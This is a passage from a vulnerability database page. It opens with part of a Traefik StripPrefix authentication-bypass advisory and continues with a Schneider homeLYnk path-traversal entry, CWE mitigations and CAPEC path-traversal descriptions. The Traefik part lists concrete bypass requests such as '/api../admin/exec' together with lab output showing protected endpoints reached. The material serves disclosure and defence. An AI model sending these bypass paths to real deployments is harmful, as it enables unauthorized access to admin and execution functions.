404\n/api../admin 200 backend seen_path=/admin\n/api%2e%2e/admin 200 backend seen_path=/admin\n/api../internal/config 200 backend seen_path=/internal/config\n/api%2e%2e/internal/config 200 backend seen_path=/internal/config\n/api../admin/exec 200 protected execution endpoint reached\n/api%2e%2e/admin/exec 200 protected execution endpoint reached\n```\n\n## Root Cause Hypothesis\n\nThe vulnerable behavior appears to be caused by path normalization after prefix stripping.\n\n```text\nIncoming path: /api../admin\nAfter StripPrefix(\"/api\"): /../admin\nAfter JoinPath(): /admin\n```\n\nThe request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization.\n\nThe relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions.\n\n## Security Impact\n\nAn unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.\n\nPotential impact includes:\n\n- Access to protected admin paths\n- Access to internal configuration endpoints\n- Exposure of secrets returned by internal backends\n- Access to protected backend management functionality\n- Conditional RCE if the protected backend exposes an execution primitive\n\nIn the local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive.\n\nThis is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.\n\n## Suggested Severity\n\nSuggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n```\n\nScope Changed was selected because the request bypasses Traefik\u0027s route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.\n\nIf the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\nThe issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.\n\n## Weakness\n\nPrimary CWE:\n\n- `CWE-863: Incorrect Authorization`\n\nRelated weakness candidates:\n\n- `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize`\n- `CWE-22: Improper Limitation of a Pathname to a Restricted Directory`\n\n## Mitigation Verified in Lab\n\nThe bypass was blocked when using a stricter prefix boundary:\n\n```text\nPathRegexp(`^/api(/|$)`)\n```\n\nor:\n\n```text\nPathPrefix(`/api/`) with StripPrefix(`/api/`)\n```\n\n## Relation to Existing Advisories\n\nThis appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above.\n\nThis was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.\n\n## Reporter\n\nWonYun / kyun0\n\n\u003c/details\u003e",
"id": "GHSA-xf64-8mw2-4gr2",
"modified": "2026-07-20T21:14:26Z",
"published": "2026-06-11T13:26:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48020"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-48020"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491915"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.48"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.19"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48020.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization"
}
GHSA-XF6C-G664-4QP4
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists in homeLYnk (Wiser For KNX) and spaceLYnk V2.60 and prior which could cause a denial of service when an unauthorized file is uploaded.
{
"affected": [],
"aliases": [
"CVE-2021-22736"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-26T20:15:00Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability exists in homeLYnk (Wiser For KNX) and spaceLYnk V2.60 and prior which could cause a denial of service when an unauthorized file is uploaded.",
"id": "GHSA-xf6c-g664-4qp4",
"modified": "2022-05-24T19:03:17Z",
"published": "2022-05-24T19:03:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22736"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-130-04"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.